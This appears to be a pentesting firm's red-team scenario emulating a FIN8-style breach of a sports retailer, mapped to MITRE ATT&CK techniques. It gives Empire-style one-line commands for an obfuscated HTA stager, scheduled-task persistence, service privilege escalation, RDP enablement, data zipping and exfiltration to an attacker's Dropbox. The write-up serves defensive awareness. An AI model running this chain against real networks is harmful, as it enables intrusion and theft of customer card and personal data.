The motives behind cyber attacks against companies in the retail industry are mainly financial. The nature of this sector requires big digital presence with e-commerce and mobile applications that enable consumers to buy products. Payment card details of customers are also processed or stored to perform payment transactions which makes retail companies an attractive target for cyber criminals and threat actors.
A sports retailer that is selling footwear and sport equipment is inside the focus of a threat group that is known from previous cyber-attacks in the retail industry. The threat group is launching a tailored spear-phishing link campaign in an attempt to gain initial access into the target network and steal personally identifiable information (PII) or payment card details that could be sold to the highest bidder in the dark web or used by the group for financial gain.
Various tactics are used during the cyber attack by the threat actor in order to achieve their objectives. Every cyber attack is followed by the same procedures but with different tactics depending on the open source intelligence results and the configuration of the environments. The tactics used in this scenario are demonstrated below.
The threat actor crafts a malicious HTML application (HTA) that will executed on the systems of the target users if they download and run the file. Obfuscation is used in the code to evade detection from the endpoint of the user’s.
usestager windows/hta set Listener http set Obfuscate All execute
Use Execution – PowerShell
The adversary sent the email that contains the link to the HTA file to a group of employees that they have high probability to click the file. (non technical people). A user click the hyperlink on the email, download and execute the HTA.
The HTA file contains code which is written in PowerShell a scripting language that is supported in Windows environments from Windows 7 until Windows 10. Once the code is executed the adversary will gain initial foothold into the network of the sports retailer.
The threat actor is using the schtasks utility directly from the Command and Control (C2) to create persistence on the compromised host. An arbitrary PowerShell payload that is stored in a registry key will executed on a daily basis at 09:00 am to maintain the communication between the threat actor infrastructure and the target network.
usemodule persistence/userland/schtasks set Listener http execute
Exploitation for Privilege Escalation
A recon on the compromised host is conducted to enumerate privilege escalation opportunities. The threat actor identifies one service that is running with SYSTEM level privileges and is configured with weak permissions. The group modifies the binary path of the service in order to execute an arbitrary payload the next time the service starts.
usemodule privesc/powerup/service_stager set Listener http set ServiceName pentestlab execute
The adversary acquires elevated privileges (SYSTEM) when the service is restarted.
Files that were dropped during the operation are deleted to clean up traces that could lead the organisation to discover the breach at an early stage and before the operation is finished.
Passwords that are stored in memory of the operation system are retrieved in plain-text for lateral movement inside the network. A PowerShell variation of Mimikatz (common hacking tool) is used to execute this technique.
The results will return the usernames and passwords of users that have previously authenticated with the system. These credentials can lead to access other systems in the network by using protocols such as SMB, WMI and RDP.
Remote System Discovery
Windows trusted binaries are dropped into disk to assist with the discovery of other systems in the network that will be used for lateral movement. Usage of these tools evades detection as it is legitimate Active Directory functionality. The adversary discovers various assets (Domain Controller, Exchange, Hosts etc.) that exist in the network.
shell .\dsquery.exe computer
Remote Desktop Protocol
Administrators are heavily use Remote Desktop Protocol to connect with workstations and servers remotely to troubleshoot issues or perform other operations. The threat actor enables RDP on the compromised systems in order to maintain a connection and move laterally across a number of systems over a trusted protocol.
use powershell/management/enable_rdp execute
The adversary can authenticate with the systems that have RDP enabled with their standard user or elevated credentials.
During the access further information and sensitive documents that are stored in local drives are being retrieved and evaluated by the group.
At this point interesting data that could be sold in the dark net or used for financial fraud are collected into a single location. An excel file that contains thousands of customer records is moved into a specific folder.
Commonly Used Port
The communication channel between the Command and Control (C2) and the network is performed through a common port 80 (HTTP) in order to blend in with normal network activity.
The acquired data that contain sensitive information of customer records are being compressed into one zip file for portability reasons and to reduce the data sent over the network during ex-filtration that will alert the Data Loss Prevention (DLP) solution.
usemodule management/zipfolder set Folder C:\temp\exfil set ZipFileName C:\temp\exfil.zip execute
Ex-filtration Over Alternative Protocol
Data are being ex-filtrated into the Dropbox account of the threat actor. This is a common tactic to avoid the correlation between the command and control infrastructure and the stolen data. The communication is performed through the Dropbox API key.
usemodule exfiltration/exfil_dropbox set SourceFilePath C:\temp\exfil.zip set TargetFilePath /exfil/ set ApiKey <API Token> execute
The loss of the customer data has serious implications into the company’s posture with huge fines due to General Data Protection Regulation (GDPR). Reputation damages will also occur as the breach will need to be publicized which will have as an effect lack of confidence for current and potential future customers that will choose other retail sport suppliers to buy goods. The lack of confidence towards the security posture of the company will have financial impact in the short and long term.
The purpose of this scenario was to demonstrate a cyber breach against a retail company by mimic the techniques of FIN8 threat actor. The group has used PowerShell for their operations in the previous years but their toolkit has evolved and recent cyber attacks indicate that their malware is focusing to infect point of sale (POS) systems. Organisations should be ready to defend against threats and red team assessments can assist to measure the resilience against cyber-attacks.
MITRE – ATT&CK
The following table contains the techniques that were used in this scenario and their associated Mitre ID.
|Initial Access||Spearphishing Link||T1192|
|Privilege Escalation||Exploitation for Privilege Escalation||T1068|
|Defense Evasion||File Deletion||T1107|
|Credential Access||Credential Dumping||T1003|
|Discovery||Remote System Discovery||T1018|
|Lateral Movement||Remote Desktop Protocol||T1076|
|Command and Control||Commonly Used Port||T1043|
|Ex-filtration||Ex-filtration Over Alternative Protocol||T1048|
If you are interested to learn more about how Pentest Laboratories and our custom cyber attack scenarios can improve your organisation readiness against cyber threats please contact us.